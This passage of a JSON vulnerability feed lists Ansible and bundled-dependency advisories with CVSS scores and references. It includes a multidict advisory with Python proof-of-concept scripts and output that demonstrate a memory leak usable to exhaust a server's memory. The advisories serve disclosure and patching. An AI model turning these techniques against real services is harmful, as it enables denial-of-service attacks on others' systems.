values.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-0690"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/82565"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6935c8e303440addd3871ecf8e04bde61080b032"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/78db3a3de6b40fb52d216685ae7cb903c609c3e1"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/b9a03bbf5a63459468baf8895ff74a62e9be4532"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/beb04bc2642c208447c5a936f94310528a1946b1"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:0733"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:2246"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:3043"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-0690"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2259013"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible-core/PYSEC-2024-36.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IZQGCRDSZL7ONCULMB6ZUHOE4L44KIBP"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VDYSWOCPZMNRU5LWKIEBW4WGWLMTU7WQ"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20250117-0001"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2024-11079","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T21:01:56Z","upstream":["GHSA-99w6-3xph-cx78","CVE-2024-11079","PYSEC-2026-1123"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.18.1rc1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.20.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.20.9","key":"pkg:pypi/ansible-core@2.20.9","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible-Core vulnerable to content protections bypass","details":"A flaw was found in Ansible-Core. This vulnerability allows attackers to bypass unsafe content protections using the hostvars object to reference and execute templated content. This issue can lead to arbitrary code execution if remote data or module outputs are improperly templated within playbooks.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-11079"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/84299"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/84339"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/2936b80dbbc7efb889934aeec80f6142c10266ce"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/70e83e72b43e05e57eb42a6d52d01a4d9768f510"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/98774d15d7748ebaaaf2e83942cc7e8d39f7280e"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:10770"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:11145"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-11079"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2325171"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.18.1/changelogs/CHANGELOG-v2.18.rst#security-fixes"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/03/msg00006.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2024-8775","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T21:01:56Z","upstream":["GHSA-jpxc-vmjf-9fcj","CVE-2024-8775","PYSEC-2026-1124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.17.6","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.20.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.20.9","key":"pkg:pypi/ansible-core@2.20.9","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible vulnerable to Insertion of Sensitive Information into Log File","details":"A flaw was found in Ansible, where sensitive information stored in Ansible Vault files can be exposed in plaintext during the execution of a playbook. This occurs when using tasks such as include_vars to load vaulted variables without setting the no_log: true parameter, resulting in sensitive data being printed in the playbook output or logs. This can lead to the unintentional disclosure of secrets like passwords or API keys, compromising security and potentially allowing unauthorized access or actions.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-8775"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8a87e1c5d37422bc99d27ad4237d185cc233e035"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:10762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:8969"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:9894"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2025:1249"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-8775"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2312119"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jpxc-vmjf-9fcj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.16.13/changelogs/CHANGELOG-v2.16.rst#security-fixes"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.17.6/changelogs/CHANGELOG-v2.17.rst#security-fixes"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2024-9902","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T21:01:56Z","upstream":["GHSA-32p4-gm2c-wmch","CVE-2024-9902","PYSEC-2026-1121"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.18.0rc2","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.20.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.20.9","key":"pkg:pypi/ansible-core@2.20.9","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"ansible-core Incorrect Authorization vulnerability","details":"A flaw was found in Ansible. The ansible-core `user` module can allow an unprivileged user to silently create or replace the contents of any file on any system path and take ownership of it when a privileged user executes the `user` module against the unprivileged user's home directory. If the unprivileged user has traversal permissions on the directory containing the exploited target file, they retain full control over the contents of the file as its owner.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-9902"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/03794735d370db98a5ec2ad514fab2b0dd22d6be"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/03daf774d0d80fb7235910ed1c2b4fbcaebdfe65"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/3b6de811abea0a811e03e3029222a7e459922892"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/9d7312f695639e804d2caeb1d0f51c716a9ac7dd"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f7be90626da3035c697623dcf9c90b7a0bc91c92"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:10762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:8969"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:9894"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2025:1861"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-9902"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2318271"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2025-14010","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-8ggh-xwr9-3373","CVE-2025-14010","PYSEC-2026-1119"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"12.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Community General Collection is vulnerable to exposure of sensitive information","details":"A flaw was found in ansible-collection-community-general. This vulnerability allows for information exposure (IE) of sensitive credentials, specifically plaintext passwords, via verbose output when running Ansible with debug modes. Attackers with access to logs could retrieve these secrets and potentially compromise Keycloak accounts or administrative access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-14010"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/issues/11000"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/commit/08e56bbb9b57740a879d3057d84cdb02a162b840"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2025-14010"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2418774"},{"type":"PACKAGE","url":"https://github.com/ansible-collections/community.general"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/12.2.0/12/CHANGELOG-v12.md#security-fixes"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-104874","published":"2026-10-06T19:59:19Z","modified":"2026-10-16T10:10:23Z","upstream":["GHSA-54p9-h82j-f925","CVE-2026-104874","PYSEC-2026-4244"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"},{"fixed":"13.8.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"6.9.1","resource":"multidict","resource_purl":"pkg:pypi/multidict@6.9.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"multidict","subject_version":"6.9.1","key":"pkg:pypi/multidict@6.9.1","resource":"multidict"}]},"summary":"Multidict: Reference leak in CIMultiDict/MultiDict items-view union and subtraction","details":"## Description\n\nA reference leak in the items-view union and subtraction operators of aio-libs/multidict 6.7.0 through 6.9.0 (C extension) lets a remote client drive unbounded, unreclaimable memory growth by having each operand element leak one key-identity object and one value object. The reflected-union path (`operand | d.items()`, `multidict_itemsview_or2_impl`) and the subtraction path (`d.items() - operand`, `multidict_itemsview_sub1_impl`) parse each element into new strong references but release only the tuple wrapper, never the identity and value. Servers in the aio-libs stack build these views over attacker-supplied HTTP headers and query strings, so the operand size is under remote control. Forced garbage collection does not recover the leaked objects, so resident memory rises monotonically until the process is killed.\n\n---\n\n## Root Cause\n\n`_multidict_itemsview_parse_item()` returns **new** references: a fresh identity via `md_calc_identity()` and a fresh value via `Py_NewRef()`. The `or2_impl` first parse loop requests both but clears only `arg`:\n\n```c\n// views.h:565 — or2_impl first parse loop\nwhile ((st = PyIter_NextItem(iter, &arg)) > 0) {\n    int tmp = _multidict_itemsview_parse_item(\n        self, arg, &identity, NULL, &value);   // identity + value: new refs\n    if (tmp < 0) goto fail;\n    else if (tmp > 0) {\n        if (_set_add(tmp_set, identity, value) < 0) goto fail;\n    }\n    Py_CLEAR(arg);                             // :575 clears arg ONLY\n}\n```\n\n`_set_add()` builds its own tuple with `PyTuple_Pack` and `Py_DECREF`s it, so it never borrows the loop's `identity`/`value`. On the next iteration those variables are overwritten, so the previous references are lost permanently. The `sub1_impl` first loop (`:686-696`) has the identical omission.\n\nThis is an editing slip, not an ownership contract: every sibling path clears all three references per iteration, `and1_impl` (`:304-306`), `and2_impl` (`:389-391`), `or1_impl` (`:506-508`), and the second (`md_next`) loops of both functions (`:605-607`, `:726-728`). PR #1413 added a `Py_DECREF(tpl)` to the *second* loop of `or2`/`sub1`, fixing a different temporary-tuple leak; it never touched the first parse loop, so this leak remains on `master`.\n\n`views.h` is byte-identical between `v6.6.0` and `v6.7.0`, yet 6.6.4 does not leak and 6.7.0 does. The regression is behavioural, introduced by a key-identity ownership change in `hashtable.h` across that boundary that made `md_calc_identity()` return a fresh strong reference the unchanged parse loop never releases.\n\n---\n\n## Reproduction Environment\n\n| Item | Value |\n|------|-------|\n| **Runtime** | CPython 3.14.6 |\n| **multidict** | 6.9.0 (PyPI binary wheel, C extension) |\n| **OS** | macOS (darwin 25.6.0, arm64) |\n\n---\n\n## Proof of Concept\n\n### POC Source Code\n\n#### poc_refcount.py — leak proof with intersection control\n\n```python\nimport sys, gc\nfrom multidict import CIMultiDict\n\ndef probe(name, run_op):\n    d = CIMultiDict(); d[\"seed\"] = \"x\"\n    value = object()                 # unique sentinel\n    N = 100000\n    operand = [(\"k%d\" % i, value) for i in range(N)]\n    gc.collect(); before = sys.getrefcount(value)\n    run_op(d, operand)\n    gc.collect(); after = sys.getrefcount(value)\n    print(f\"[{name}] leaked strong refs = {after - before}\")\n\nprobe(\"or2  operand | items\", lambda d, o: o | d.items())    # reflected union\nprobe(\"sub1 items - operand\", lambda d, o: d.items() - o)    # subtraction\nprobe(\"and2 items & operand\", lambda d, o: d.items() & o)    # CONTROL: clears, expect 0\n```\n\n#### poc_dispatch.py — maps which paths leak\n\n```python\nimport sys, gc\nfrom multidict import CIMultiDict\n\ndef probe(name, fn):\n    d = CIMultiDict(); d[\"seed\"] = \"x\"\n    v = object(); N = 50000\n    operand = [(\"k%d\" % i, v) for i in range(N)]\n    gc.collect(); before = sys.getrefcount(v)\n    fn(d, operand); gc.collect(); after = sys.getrefcount(v)\n    print(f\"{name:35s} leaked={after - before}\")\n\nprobe(\"operand | d.items()  (or2)\",  lambda d, o: o | d.items())\nprobe(\"d.items() | operand  (or1)\",  lambda d, o: d.items() | o)\nprobe(\"d.items() - operand  (sub1)\", lambda d, o: d.items() - o)\nprobe(\"operand - d.items()  (rsub)\", lambda d, o: set(o) - d.items())\nprobe(\"d.items() & operand  (and)\",  lambda d, o: d.items() & o)\n```\n\n#### poc_rss.py — availability consequence\n\n```python\nimport sys, gc, resource\nfrom multidict import CIMultiDict\n\ndef rss_mb():\n    r = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\n    return r / (1024 * 1024) if sys.platform == \"darwin\" else r / 1024\n\nd = CIMultiDict(); d[\"seed\"] = \"x\"\ngc.collect(); print(f\"start RSS = {rss_mb():.1f} MB\")\nfor i in range(200):\n    operand = [(f\"k{i}_{j}\", f\"v{i}_{j}\") for j in range(50000)]\n    _ = operand | d.items()\n    del operand\n    gc.collect()                     # prove GC cannot reclaim the leak\n    if (i + 1) % 40 == 0:\n        print(f\"after {(i+1)*50000:>9,} elements: RSS = {rss_mb():.1f} MB\")\n```\n\n### Execution Steps\n\n1. `python3 -m venv venv` (CPython 3.10+).\n2. `./venv/bin/pip install \"multidict==6.9.0\"` (installs the C-extension wheel).\n3. From a directory that is **not** a multidict checkout, run each script with `./venv/bin/python`.\n\n### Actual Execution Evidence\n\n```\n[or2  operand | items] leaked strong refs = 100000\n[sub1 items - operand] leaked strong refs = 100000\n[and2 items & operand] leaked strong refs = 0        <- control\n```\n\n```\noperand | d.items()  (or2)          leaked=50000\nd.items() | operand  (or1)          leaked=0\nd.items() - operand  (sub1)         leaked=50000\noperand - d.items()  (rsub)         leaked=0\nd.items() & operand  (and)          leaked=0\n```\n\n```\nstart RSS = 15.6 MB\nafter 2,000,000 elements: RSS = 288.1 MB\nafter 6,000,000 elements: RSS = 776.8 MB\nafter 10,000,000 elements: RSS = 1266.8 MB   (gc.collect() every iteration)\n```\n\n### Version-boundary evidence\n\nSame `poc_dispatch.py`, PyPI wheels, identical environment. Last-clean is `6.6.4`; first-affected is `6.7.0`:\n\n```\n6.6.4 : or2=0      sub1=0      others=0   (clean, last 6.6.x)\n6.7.0 : or2=50000  sub1=50000  others=0   (AFFECTED, first)\n6.9.0 : or2=50000  sub1=50000  others=0   (affected)\n```\n\nThe clean 6.6.x releases return correct set-operation results, so the zero leak reflects correct memory management, not a broken path.\n\n### Analysis of Results\n\nThe operand holds exactly `N` references to one sentinel value; after the union its refcount rises by another `N` and stays there post-GC, so each element leaked one strong reference. Subtraction shows the identical delta. The intersection control, which clears `identity` and `value`, leaks zero; the only code difference is the two missing `Py_CLEAR` calls, so the leak is caused by that omission and not the harness. RSS climbs from 15.6 MB to 1266.8 MB (~250 MB per 2M elements) despite per-iteration GC, confirming the objects are unreachable by the cyclic collector.\n\n---\n\n## Impact\n\nA process that evaluates items-view unions or subtractions over remote-influenced operands leaks one identity plus one value object per element, permanently. In the aio-libs stack multidict backs HTTP headers and query strings, so an attacker who enlarges the operand (for example, many repeated header items compared against a fixed allow/deny set) forces steady, unrecoverable heap growth and can eventually exhaust memory in a long-lived server. This is an availability defect only; results stay correct and no data is exposed.\n\nReachability depends on the application evaluating `operand | view.items()` (reflected union) or `view.items() - operand` (subtraction) over a sequence of 2-tuples whose count is remote-influenced. The forward union `view.items() | operand` routes to `or1_impl`, which clears correctly and does not leak; a non-tuple operand element takes the `parse_item` early-return and does not leak. Set algebra over items views is not the most common multidict usage, which bounds exposure and is why this is Medium, not High. This is distinct from PR #1413, which fixed a temporary-tuple leak in the second loop and did not release these per-element objects.\n\n---\n\n## Remediation\n\n**Recommended fix.** Clear the two per-element references at the end of the first parse loop in both functions, exactly as every sibling path does. In `or2_impl` (`views.h:575`) and `sub1_impl` (`views.h:696`), replace the lone `Py_CLEAR(arg);` with:\n\n```c\n    Py_CLEAR(arg);\n    Py_CLEAR(identity);\n    Py_CLEAR(value);\n```\n\nThis is an in-repo change to a static internal function; it alters no public API, type, or signature, and asks callers to change nothing. A leak test in the existing `tests/test_leaks.py` style would lock it in.\n\n**Workaround.** Avoid `operand | view.items()` and `view.items() - operand` on attacker-influenced operands, or install with `MULTIDICT_NO_EXTENSIONS=1` to use the unaffected pure-Python build.\n\n---","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/multidict/security/advisories/GHSA-54p9-h82j-f925"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104874"},{"type":"WEB","url":"https://github.com/aio-libs/multidict/commit/350b4a07bf8ff851b6d7544e81b1c748bdc74c40"},{"type":"PACKAGE","url":"https://github.com/aio-libs/multidict"},{"type":"WEB","url":"https://github.com/aio-libs/multidict/releases/tag/v6.9.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-111063","published":"2026-10-21T10:34:15Z","modified":"2026-11-17T10:24:55Z","upstream":["GHSA-494j-54xm-rwp3","CVE-2026-111063","PYSEC-2026-4365"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Secure attribute not enforced for shared cookie","details":"### Summary\n\nThe Secure attribute was not being enforced for the shared cookie.\n\n### Impact\n\nIt may be possible to send a shared cookie marked Secure through an unencrypted request.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-494j-54xm-rwp3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111063"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/999c356d61e966faffa97b06ab0d0455226d36c5"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-111064","published":"2026-10-21T10:34:15Z","modified":"2026-11-17T10:24:55Z","upstream":["GHSA-5wr8-gcqf-gqf3","CVE-2026-111064","PYSEC-2026-4366"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp server lacks an initial request/header timeout","details":"### Summary\n\nThe keepalive timeout was not used during the initial portion of a request.\n\n### Impact\n\nAn attacker could keep an idle connection open indefinitely before sending any data.\n\n### Workaround\n\nUse a reverse proxy (as recommended for all production deployments) with sensible keepalive limits.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5wr8-gcqf-gqf3"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/be846822b4b3a5a54b6163e794b42dc06fba54a3"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-111065","published":"2026-10-21T10:34:15Z","modified":"2026-11-17T10:24:55Z","upstream":["GHSA-6cjc-53gc-5rqm","CVE-2026-111065","PYSEC-2026-4367"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Connector pool exhaustion via Max-Age overflow","details":"### Summary\n\nAn overflow in Max-Age processing can skip closing a connection.\n\n### Impact\n\nAn attacker may be able to exhaust the connection pool temporarily, until garbage collection resolves the connections.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6cjc-53gc-5rqm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111065"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9dd8eaf4e31f1237ef2c1574a8c82a739fca5805"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-111066","published":"2026-10-21T10:34:15Z","modified":"2026-11-17T10:24:55Z","upstream":["GHSA-9xw5-w5jj-pvcg","CVE-2026-111066","PYSEC-2026-4368"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: File descriptor exhaustion in multipart requests","details":"### Summary\n\nAn attacker can exhaust file descriptors with specially crafted multipart requests.\n\n### Impact\n\nIf a handler uses `Request.post()`, it may be possible for an attacker to use an unlimited number of file descriptors, potentially resulting in resource exhaustion.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9xw5-w5jj-pvcg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111066"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2d94633b7f1b4c1ba07d647b629a8440652b2d09"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-111748","published":"2026-10-21T10:34:15Z","modified":"2026-11-17T10:24:55Z","upstream":["GHSA-f9xw-jh8m-3mwq","CVE-2026-111748","PYSEC-2026-4369"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Absolute-form request targets can spoof Request.scheme","details":"### Summary\n\nAn attacker sending an absolute-form request can spoof the scheme used.\n\n### Impact\n\nIf user code depends on the 